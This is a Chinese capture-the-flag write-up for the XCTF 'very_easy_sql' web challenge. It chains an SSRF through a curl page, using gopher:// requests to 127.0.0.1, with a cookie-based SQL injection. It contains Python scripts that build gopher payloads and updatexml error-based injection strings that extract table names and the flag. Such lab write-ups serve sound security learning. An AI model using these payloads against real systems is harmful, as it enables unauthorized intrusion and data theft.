攻防世界 - Web - Level 3 | very_easy_sql
关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本关考察的是 SSRF 漏洞,需要我们结合 Gopher 协议利用服务端进行越权 SQL 注入。考点不少,总结一下主要有以下几点:
-
SSRF 漏洞 —— Gopher 协议的使用
-
HTTP 请求包转换为 Gopher 请求包
-
SQL 注入 —— Cookie 注入
0x02:Write UP
进入靶场,是一个登录框,下面一行提示的字符 “you are not an inner user, so we can not let you have identify~” ,既然考点是 SQL 注入,我们尝试输入一些东西,看看能不能触发漏洞:
OK,没有任何提示,打开抓包工具,重放请求包,我们可以注意到如下两点:
一个是显示我们的 Cookie 被消除了,另外一个是一个 use.php 的页面,我们在靶场链接后拼接 /use.php 进入该页面:
“url you want to curl”,我们知道 curl 命令是用来对服务器发起请求的。联想到靶场首页的提示 “you are not an inner user, so we can not let you have identify~” —— 你不是内部用户,所以我们不能让你拥有身份。
我们大致可以确定攻击方向,利用 use.php 页面中的 curl 命令进行 SSRF 攻击,攻击的目标就是靶场首页的登录框。
确定了思路,下面就开始实施吧,这里需要拓展一个 Gopher 协议,协议的简介如下:
我们现在靶场首页的登录框中,随便输入一组用户名加密码,点击 Submit,并抓取 POST 请求包,我抓取的内容如下:
POST / HTTP/1.1
Host: 61.147.171.105:65176
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://61.147.171.105:65176
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://61.147.171.105:65176/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=78dp0ee6kimm21f8ik5eua4431
Connection: close
uname=123&passwd=123
而我们构造 Gopher 请求包其实用不了这么多数据,精简后的请求包如下:
POST / HTTP/1.1
Host: 61.147.171.105:65176
Content-Length: 20
Content-Type: application/x-www-form-urlencoded
uname=123&passwd=123
下面继续深入思考一下,我们是利用目标靶场的 use.php 页面发起的请求,所以对于 use.php 而言,靶场首页的登录框,对他而言其实应该是在本地的,所以我们这里的 HOST 需要改为 127.0.0.1:80
。
下面就是将更改后的请求包转换为 Gopher 协议的请求了,当然,同上,我们请求的目标 IP 地址和端口也是 127.0.0.1:80,转换的 Python 代码如下:
import urllib.parse
host = "127.0.0.1:80"
payload = "uname=123&passwd=123" # 请求包中的 payload
template = """\
POST / HTTP/1.1
Host: {}
Content-Length: {}
Content-Type: application/x-www-form-urlencoded
{}
""".format(host, len(payload), payload)
def gopher_data(string):
"""
:param string: 待转换的请求包
:return:
"""
encode_result = urllib.parse.quote(string) # 进行 url 编码
# 回车 \n -> url 编码后 -> %0A -> 将 %0A 替换为 %0D%0A; 数据包模板末尾有一个换行,就不用额外添加 %0D%0A 了
return "gopher://{}/_{}".format(host, encode_result.replace("%0A","%0D%0A"))
print(gopher_data(template))
输出的 Payload 如下:
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2020%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Auname%3D123%26passwd%3D123%0D%0A
将 Payload 黏贴到 use.php 中,并点击 submit 可以看到我们成功请求了目标网页,并且还有返回信息:
这里我们将请求包中的 uname 和 passwd 替换为弱口令 admin,再次生成 Payload 后发起请求,可以看到如下内容:
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2024%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Auname%3Dadmin%26passwd%3Dadmin%0D%0A
OK,熟悉的 “this_is_your_cookie”,不同之前的 “delete”,这次请求算是成功了,我们将该 Cookie 的值复制一下,进行一下解码:
再联想一下 SQL 注入,注入点这不就出来了,既然注入点在 Cookie 这里,那携带 Payload 其实也不需要了(Payload 本来就是为了去后端查表,验证用户是否是正规用户的,Cookie 也有这个作用)。
所以,修改后的请求包模板如下:
POST / HTTP/1.1
Host: {}
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: this_is_your_cookie={}
相应的,生成攻击载荷的代码如下:
import base64
import urllib.parse
host = "127.0.0.1:80"
template = """\
POST / HTTP/1.1
Host: {}
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: this_is_your_cookie={}
"""
def gopher_data(string):
"""
:param string: 待转换的请求包
:return:
"""
encode_result = urllib.parse.quote(string) # 进行 url 编码
# 回车 \n -> url 编码后 -> %0A -> 将 %0A 替换为 %0D%0A; 数据包模板末尾有一个换行,就不用额外添加 %0D%0A 了
return "gopher://{}/_{}".format(host, encode_result.replace("%0A","%0D%0A"))
def create_payload(payload):
global template
payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8') # 对 Payload 进行 Base64 编码
template = template.format("host",payload)
return gopher_data(template)
if __name__ == "__main__":
payload = input("Input Payload: ")
print(create_payload(payload))
利用此脚本,即可生成对应的 gopher 协议脚本,比如,我们测试用户名为 admin'
:
Input Payload: admin'
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20host%0D%0AContent-Length%3A%200%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0ACookie%3A%20this_is_your_cookie%3DYWRtaW4n%0D%0A
探测出后端的 SQL 攻击模板为:
admin') 攻击代码 #
而且既然它会报错,那我们直接使用报错注入即可,下面我就简单的写一下测试的 SQL 语句,具体的 Payload 拿上面的 Python 脚本即可生成:
获取当前数据库中存在的表名:
Input Payload: admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
关键报错:Issue with your mysql: XPATH syntax error: '~emails,flag,referers,uagents,us' -> 提取关键信息: flag 表
获取 flag 表中的字段名:
Input Payload: admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag"),0x7e),1) #
关键报错:Issue with your mysql: XPATH syntax error: '~flag~'
获取 flag 表中的 flag 字段的所有信息:
Input Payload: admin') and updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1) #
关键报错:Issue with your mysql: XPATH syntax error: '~cyberpeace{a0e9c720fecbd276d9f6'
获取 flag 剩余内容,使用 mid 进行截取:
Input Payload: admin') and updatexml(1,concat(0x7e,(select mid(group_concat(flag),20,50) from flag),0x7e),1) #
关键报错:Issue with your mysql: XPATH syntax error: '~fecbd276d9f611e262249a87}~'
拼接后的 flag:cyberpeace{a0e9c720fecbd276d9f611e262249a87}
0x03:参考链接
SSRF利用协议中的万金油——Gopher_dict协议-CSDN博客文章浏览阅读4.5k次,点赞7次,收藏38次。SSRF利用协议中的万金油——Gopher_dict协议https://blog.csdn.net/qq_50854662/article/details/129180268
SSRF防护绕过思路与Gopher利用浅析 - 先知社区先知社区,先知安全技术社区https://xz.aliyun.com/t/14086?time__1311=mqmx9DBG0QYxyDBqDTeeuut5LhENWYD&alichlgref=https%3A%2F%2Fcn.bing.com%2F